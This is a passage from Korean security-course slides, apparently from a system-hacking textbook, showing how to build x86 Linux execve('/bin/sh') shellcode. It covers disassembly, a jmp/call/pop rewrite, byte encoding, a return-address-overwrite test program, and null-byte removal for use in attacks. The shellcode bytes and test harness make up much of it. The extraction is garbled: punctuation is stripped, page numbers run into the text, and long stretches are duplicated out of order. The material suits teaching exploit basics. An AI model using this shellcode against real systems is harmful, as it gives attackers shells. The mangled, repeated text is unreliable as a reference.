실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 71: 80×86  시스템에 대한 이해

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 72: 80×86  시스템에 대한 이해

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

